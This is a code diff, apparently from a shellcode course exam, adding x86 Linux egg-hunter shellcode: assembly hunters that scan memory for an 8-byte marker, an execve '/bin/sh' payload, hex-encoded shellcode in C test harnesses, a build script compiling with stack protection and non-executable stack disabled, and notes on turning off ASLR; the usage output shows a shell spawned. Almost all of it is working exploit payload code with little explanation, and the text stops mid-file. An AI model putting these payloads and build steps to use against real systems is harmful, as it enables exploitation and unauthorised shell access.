echo " [+] Compiling payload.nasm ..."
|
||||
nasm -f elf32 -o payload.o payload.nasm
|
||||
ld -m elf_i386 -o payload payload.o
|
||||
|
||||
echo " [+] Compiling hunter.nasm ..."
|
||||
nasm -f elf32 -o hunter.o hunter.nasm
|
||||
ld -m elf_i386 -o hunter hunter.o
|
||||
|
||||
echo " [+] Extracting PAYLOAD code from payload ..."
|
||||
PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
|
||||
|
||||
echo " [+] Adding EGG mark to PAYLOAD ..."
|
||||
FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
echo " [+] Checking PAYLOAD code for NULLs ..."
|
||||
if [[ $FULL_PAYLOADCODE == *00* ]]; then
|
||||
echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
echo " [+] Extracting HUNTER code from hunter ..."
|
||||
HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
# For debugging only
|
||||
#echo ${DEFAULTEGG[0]}
|
||||
#echo ${DEFAULTEGG[1]}
|
||||
#echo ${NEWEGG[0]}
|
||||
#echo ${NEWEGG[1]}
|
||||
|
||||
# Preparing Default egg to HEX form in order to replace it with a New egg
|
||||
DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in HEX format
|
||||
NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in Plaintext format
|
||||
#NEWEGG1=$(echo -n ${NEWEGG[0]})
|
||||
#NEWEGG2=$(echo -n ${NEWEGG[1]})
|
||||
|
||||
|
||||
FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
|
||||
|
||||
echo " [+] Checking HUNTER code for NULLs ..."
|
||||
if [[ $FULL_HUNTERCODE == *00* ]]; then
|
||||
echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# Uncomment to see what will is replaced (default egg with a new one)
|
||||
#echo $DEFEGG1
|
||||
#echo $DEFEGG2
|
||||
#echo $NEWEGG1
|
||||
#echo $NEWEGG2
|
||||
#echo $HUNTERCODE
|
||||
#echo $FULL_HUNTERCODE
|
||||
|
||||
cat > shellcode.c << EOF
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = \
|
||||
$FULL_HUNTERCODE;
|
||||
|
||||
unsigned char garbage1[] = \
|
||||
"Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = \
|
||||
$FULL_PAYLOADCODE;
|
||||
|
||||
unsigned char garbage2[] = \
|
||||
"And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
EOF
|
||||
|
||||
echo " [+] Compiling shellcode.c ..."
|
||||
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
|
||||
|
||||
# Cleanup
|
||||
rm -f payload.o payload hunter.o hunter
|
||||
|
||||
ls -la ./shellcode
|
||||
|
||||
echo " [+] All done!"
|
||||
44
exam3/access-scasd/payload.nasm
Normal file
44
exam3/access-scasd/payload.nasm
Normal file
@ -0,0 +1,44 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
; Filename: payload-execve-stack.nasm
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
|
||||
global _start
|
||||
|
||||
|
||||
section .text
|
||||
|
||||
_start:
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 11 ; execve syscall
|
||||
|
||||
; EBX
|
||||
xor edx, edx
|
||||
push edx ; NULL termination of '//bin/sh' string
|
||||
push 0x68732f6e ; '//bin/sh' in reverse
|
||||
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
||||
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
||||
|
||||
; ECX
|
||||
push edx ; NULL termination of a stack
|
||||
push ebx ; load our '//bin/sh' on a stack
|
||||
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
||||
|
||||
; EDX
|
||||
push edx ; NULL terminator
|
||||
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
||||
int 0x80
|
||||
|
||||
18
exam3/access-scasd/shellcode.c
Normal file
18
exam3/access-scasd/shellcode.c
Normal file
@ -0,0 +1,18 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7";
|
||||
|
||||
unsigned char garbage1[] = "Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
|
||||
|
||||
unsigned char garbage2[] = "And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
11
exam3/access/NOTES
Normal file
11
exam3/access/NOTES
Normal file
@ -0,0 +1,11 @@
|
||||
NOTES
|
||||
|
||||
no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
|
||||
|
||||
execstack: disables Executable space protection (NX).
|
||||
Or Data Execution Prevention (DEP) on Windows,
|
||||
or Write XOR Execute (W^X) on BSD.
|
||||
CPU’s NX bit ("Never eXecute").
|
||||
|
||||
To disalbe Address Space Layout Randomization (ASLR) when running binary
|
||||
setarch `arch` -R ./program
|
||||
27
exam3/access/USAGE
Normal file
27
exam3/access/USAGE
Normal file
@ -0,0 +1,27 @@
|
||||
USAGE
|
||||
|
||||
1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
|
||||
|
||||
|
||||
2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
|
||||
|
||||
access$ ./make.sh "MyEgg123"
|
||||
[I] Using custom EGG mark: MyEgg123
|
||||
[+] Compiling payload.nasm ...
|
||||
[+] Compiling hunter.nasm ...
|
||||
[+] Extracting PAYLOAD code from payload ...
|
||||
[+] Adding EGG mark to PAYLOAD ...
|
||||
[+] Checking PAYLOAD code for NULLs ...
|
||||
[+] Extracting HUNTER code from hunter ...
|
||||
[+] Checking HUNTER code for NULLs ...
|
||||
[+] Compiling shellcode.c ...
|
||||
-rwx------. 1 arno arno 5132 Mar 28 00:22 ./shellcode
|
||||
[+] All done!
|
||||
|
||||
|
||||
3. Run the shellcode
|
||||
|
||||
access$ ./shellcode
|
||||
Hunter Length: 44
|
||||
Payload Length: 36
|
||||
sh-4.1$
|
||||
59
exam3/access/hunter.nasm
Normal file
59
exam3/access/hunter.nasm
Normal file
@ -0,0 +1,59 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
;
|
||||
;
|
||||
; Filename: hunter.nasm *access modification
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
;
|
||||
;
|
||||
|
||||
section .data
|
||||
egg1 equ "Egg-" ; DWORD Egg marker part1
|
||||
egg2 equ "Mark" ; DWORD Egg marker part2
|
||||
|
||||
|
||||
section .text
|
||||
global _start
|
||||
|
||||
|
||||
_start:
|
||||
xor edx, edx ; Searching the whole memory
|
||||
|
||||
|
||||
; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
|
||||
nextPage:
|
||||
or dx, 0xfff ; The same as "add dx, 4095" (PAGE_SIZE)
|
||||
|
||||
nextAddr:
|
||||
inc edx ; Searching forward
|
||||
|
||||
; Checking if memory is accessible
|
||||
push byte +0x21 ; 0x21 = 33 = __NR_access
|
||||
pop eax ; EAX points to 0x21
|
||||
lea ebx, [edx+0x8] ; next address to check
|
||||
xor ecx, ecx ; 0: mode = F_OK
|
||||
int 0x80
|
||||
cmp al, -14 ; -14 = EFAULT = Bad address. See /usr/include/asm-generic/errno-base.h
|
||||
jz nextPage
|
||||
|
||||
|
||||
; Searching for the Egg marker (in current page of memory which is accessible)
|
||||
cmp dword [edx], egg1
|
||||
jne nextAddr
|
||||
cmp dword [edx+0x4], egg2
|
||||
jne nextAddr
|
||||
|
||||
lea ecx, [edx+0x8]
|
||||
jmp ecx
|
||||
|
||||
130
exam3/access/make.sh
Executable file
130
exam3/access/make.sh
Executable file
@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env sh
|
||||
#
|
||||
# USAGE
|
||||
# ./make.sh [Egg-Mark]
|
||||
#
|
||||
# NOTE
|
||||
# Egg-Mark must be a plaintext with 8 bytes in length
|
||||
# If Egg-Mark was not specified, the default one will be used.
|
||||
#
|
||||
# To specify a custom payload, simply modify the code of payload.nasm file.
|
||||
# Alternativly, you can modify PAYLOADCODE= variable down below the code.
|
||||
#
|
||||
|
||||
ARG1=$1
|
||||
|
||||
if [ -z "$ARG1" ]; then
|
||||
echo " [I] Argument not specified. Using default EGG mark."
|
||||
ARG1="Egg-Mark";
|
||||
elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
|
||||
echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
|
||||
exit 1;
|
||||
else
|
||||
echo " [I] Using custom EGG mark: "$ARG1
|
||||
fi
|
||||
|
||||
|
||||
DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
|
||||
EGGMARK=$ARG1
|
||||
NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
|
||||
|
||||
# Uncomment to save EGGMARK in HEX
|
||||
EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
|
||||
|
||||
# Cleanup
|
||||
rm -f shellcode payload.o payload hunter.o hunter
|
||||
|
||||
echo " [+] Compiling payload.nasm ..."
|
||||
nasm -f elf32 -o payload.o payload.nasm
|
||||
ld -m elf_i386 -o payload payload.o
|
||||
|
||||
echo " [+] Compiling hunter.nasm ..."
|
||||
nasm -f elf32 -o hunter.o hunter.nasm
|
||||
ld -m elf_i386 -o hunter hunter.o
|
||||
|
||||
echo " [+] Extracting PAYLOAD code from payload ..."
|
||||
PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
|
||||
|
||||
echo " [+] Adding EGG mark to PAYLOAD ..."
|
||||
FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
echo " [+] Checking PAYLOAD code for NULLs ..."
|
||||
if [[ $FULL_PAYLOADCODE == *00* ]]; then
|
||||
echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
echo " [+] Extracting HUNTER code from hunter ..."
|
||||
HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
# For debugging only
|
||||
#echo ${DEFAULTEGG[0]}
|
||||
#echo ${DEFAULTEGG[1]}
|
||||
#echo ${NEWEGG[0]}
|
||||
#echo ${NEWEGG[1]}
|
||||
|
||||
# Preparing Default egg to HEX form in order to replace it with a New egg
|
||||
DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in HEX format
|
||||
NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in Plaintext format
|
||||
#NEWEGG1=$(echo -n ${NEWEGG[0]})
|
||||
#NEWEGG2=$(echo -n ${NEWEGG[1]})
|
||||
|
||||
|
||||
FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
|
||||
|
||||
echo " [+] Checking HUNTER code for NULLs ..."
|
||||
if [[ $FULL_HUNTERCODE == *00* ]]; then
|
||||
echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# Uncomment to see what will is replaced (default egg with a new one)
|
||||
#echo $DEFEGG1
|
||||
#echo $DEFEGG2
|
||||
#echo $NEWEGG1
|
||||
#echo $NEWEGG2
|
||||
#echo $HUNTERCODE
|
||||
#echo $FULL_HUNTERCODE
|
||||
|
||||
cat > shellcode.c << EOF
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = \
|
||||
$FULL_HUNTERCODE;
|
||||
|
||||
unsigned char garbage1[] = \
|
||||
"Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = \
|
||||
$FULL_PAYLOADCODE;
|
||||
|
||||
unsigned char garbage2[] = \
|
||||
"And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
EOF
|
||||
|
||||
echo " [+] Compiling shellcode.c ..."
|
||||
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
|
||||
|
||||
# Cleanup
|
||||
rm -f payload.o payload hunter.o hunter
|
||||
|
||||
ls -la ./shellcode
|
||||
|
||||
echo " [+] All done!"
|
||||
44
exam3/access/payload.nasm
Normal file
44
exam3/access/payload.nasm
Normal file
@ -0,0 +1,44 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
; Filename: payload-execve-stack.nasm
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
|
||||
global _start
|
||||
|
||||
|
||||
section .text
|
||||
|
||||
_start:
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 11 ; execve syscall
|
||||
|
||||
; EBX
|
||||
xor edx, edx
|
||||
push edx ; NULL termination of '//bin/sh' string
|
||||
push 0x68732f6e ; '//bin/sh' in reverse
|
||||
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
||||
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
||||
|
||||
; ECX
|
||||
push edx ; NULL termination of a stack
|
||||
push ebx ; load our '//bin/sh' on a stack
|
||||
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
||||
|
||||
; EDX
|
||||
push edx ; NULL terminator
|
||||
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
||||
int 0x80
|
||||
|
||||
18
exam3/access/shellcode.c
Normal file
18
exam3/access/shellcode.c
Normal file
@ -0,0 +1,18 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1";
|
||||
|
||||
unsigned char garbage1[] = "Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
|
||||
|
||||
unsigned char garbage2[] = "And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
11
exam3/basic/NOTES
Normal file
11
exam3/basic/NOTES
Normal file
@ -0,0 +1,11 @@
|
||||
NOTES
|
||||
|
||||
no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
|
||||
|
||||
execstack: disables Executable space protection (NX).
|
||||
Or Data Execution Prevention (DEP) on Windows,
|
||||
or Write XOR Execute (W^X) on BSD.
|
||||
CPU’s NX bit ("Never eXecute").
|
||||
|
||||
To disalbe Address Space Layout Randomization (ASLR) when running binary
|
||||
setarch `arch` -R ./program
|
||||
27
exam3/basic/USAGE
Normal file
27
exam3/basic/USAGE
Normal file
@ -0,0 +1,27 @@
|
||||
USAGE
|
||||
|
||||
1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
|
||||
|
||||
|
||||
2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
|
||||
|
||||
basic$ ./make.sh "egg.MaRk"
|
||||
[I] Using custom EGG mark: egg.MaRk
|
||||
[+] Compiling payload.nasm ...
|
||||
[+] Compiling hunter.nasm ...
|
||||
[+] Extracting PAYLOAD code from payload ...
|
||||
[+] Adding EGG mark to PAYLOAD ...
|
||||
[+] Checking PAYLOAD code for NULLs ...
|
||||
[+] Extracting HUNTER code from hunter ...
|
||||
[+] Checking HUNTER code for NULLs ...
|
||||
[+] Compiling shellcode.c ...
|
||||
-rwx------. 1 arno arno 5100 Mar 28 13:17 ./shellcode
|
||||
[+] All done!
|
||||
|
||||
|
||||
3. Run the shellcode
|
||||
|
||||
basic$ ./shellcode
|
||||
Hunter Length: 21
|
||||
Payload Length: 36
|
||||
sh-4.1$ exit
|
||||
40
exam3/basic/hunter.nasm
Normal file
40
exam3/basic/hunter.nasm
Normal file
@ -0,0 +1,40 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
;
|
||||
;
|
||||
; Filename: hunter.nasm
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
;
|
||||
;
|
||||
|
||||
section .data
|
||||
egg1 equ "Egg-" ; DWORD Egg marker part1
|
||||
egg2 equ "Mark" ; DWORD Egg marker part2
|
||||
|
||||
|
||||
section .text
|
||||
global _start
|
||||
|
||||
|
||||
_start:
|
||||
; Searching for the Egg marker
|
||||
next:
|
||||
inc eax ; Searching forward (can also try dec eax)
|
||||
isEgg:
|
||||
cmp dword [eax-8], egg1 ; Checking if we can see egg1
|
||||
jne next ; If not, continuing to search
|
||||
cmp dword [eax-4], egg2
|
||||
jne next
|
||||
|
||||
call eax ; Once found, we call our payload
|
||||
130
exam3/basic/make.sh
Executable file
130
exam3/basic/make.sh
Executable file
@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env sh
|
||||
#
|
||||
# USAGE
|
||||
# ./make.sh [Egg-Mark]
|
||||
#
|
||||
# NOTE
|
||||
# Egg-Mark must be a plaintext with 8 bytes in length
|
||||
# If Egg-Mark was not specified, the default one will be used.
|
||||
#
|
||||
# To specify a custom payload, simply modify the code of payload.nasm file.
|
||||
# Alternativly, you can modify PAYLOADCODE= variable down below the code.
|
||||
#
|
||||
|
||||
ARG1=$1
|
||||
|
||||
if [ -z "$ARG1" ]; then
|
||||
echo " [I] Argument not specified. Using default EGG mark."
|
||||
ARG1="Egg-Mark";
|
||||
elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
|
||||
echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
|
||||
exit 1;
|
||||
else
|
||||
echo " [I] Using custom EGG mark: "$ARG1
|
||||
fi
|
||||
|
||||
|
||||
DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
|
||||
EGGMARK=$ARG1
|
||||
NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
|
||||
|
||||
# Uncomment to save EGGMARK in HEX
|
||||
EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
|
||||
|
||||
# Cleanup
|
||||
rm -f shellcode payload.o payload hunter.o hunter
|
||||
|
||||
echo " [+] Compiling payload.nasm ..."
|
||||
nasm -f elf32 -o payload.o payload.nasm
|
||||
ld -m elf_i386 -o payload payload.o
|
||||
|
||||
echo " [+] Compiling hunter.nasm ..."
|
||||
nasm -f elf32 -o hunter.o hunter.nasm
|
||||
ld -m elf_i386 -o hunter hunter.o
|
||||
|
||||
echo " [+] Extracting PAYLOAD code from payload ..."
|
||||
PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
|
||||
|
||||
echo " [+] Adding EGG mark to PAYLOAD ..."
|
||||
FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
echo " [+] Checking PAYLOAD code for NULLs ..."
|
||||
if [[ $FULL_PAYLOADCODE == *00* ]]; then
|
||||
echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
echo " [+] Extracting HUNTER code from hunter ..."
|
||||
HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
# For debugging only
|
||||
#echo ${DEFAULTEGG[0]}
|
||||
#echo ${DEFAULTEGG[1]}
|
||||
#echo ${NEWEGG[0]}
|
||||
#echo ${NEWEGG[1]}
|
||||
|
||||
# Preparing Default egg to HEX form in order to replace it with a New egg
|
||||
DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in HEX format
|
||||
NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in Plaintext format
|
||||
#NEWEGG1=$(echo -n ${NEWEGG[0]})
|
||||
#NEWEGG2=$(echo -n ${NEWEGG[1]})
|
||||
|
||||
|
||||
FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
|
||||
|
||||
echo " [+] Checking HUNTER code for NULLs ..."
|
||||
if [[ $FULL_HUNTERCODE == *00* ]]; then
|
||||
echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# Uncomment to see what will is replaced (default egg with a new one)
|
||||
#echo $DEFEGG1
|
||||
#echo $DEFEGG2
|
||||
#echo $NEWEGG1
|
||||
#echo $NEWEGG2
|
||||
#echo $HUNTERCODE
|
||||
#echo $FULL_HUNTERCODE
|
||||
|
||||
cat > shellcode.c << EOF
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = \
|
||||
$FULL_HUNTERCODE;
|
||||
|
||||
unsigned char garbage1[] = \
|
||||
"Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = \
|
||||
$FULL_PAYLOADCODE;
|
||||
|
||||
unsigned char garbage2[] = \
|
||||
"And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
EOF
|
||||
|
||||
echo " [+] Compiling shellcode.c ..."
|
||||
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
|
||||
|
||||
# Cleanup
|
||||
rm -f payload.o payload hunter.o hunter
|
||||
|
||||
ls -la ./shellcode
|
||||
|
||||
echo " [+] All done!"
|
||||
44
exam3/basic/payload.nasm
Normal file
44
exam3/basic/payload.nasm
Normal file
@ -0,0 +1,44 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
; Filename: payload-execve-stack.nasm
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
|
||||
global _start
|
||||
|
||||
|
||||
section .text
|
||||
|
||||
_start:
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 11 ; execve syscall
|
||||
|
||||
; EBX
|
||||
xor edx, edx
|
||||
push edx ; NULL termination of '//bin/sh' string
|
||||
push 0x68732f6e ; '//bin/sh' in reverse
|
||||
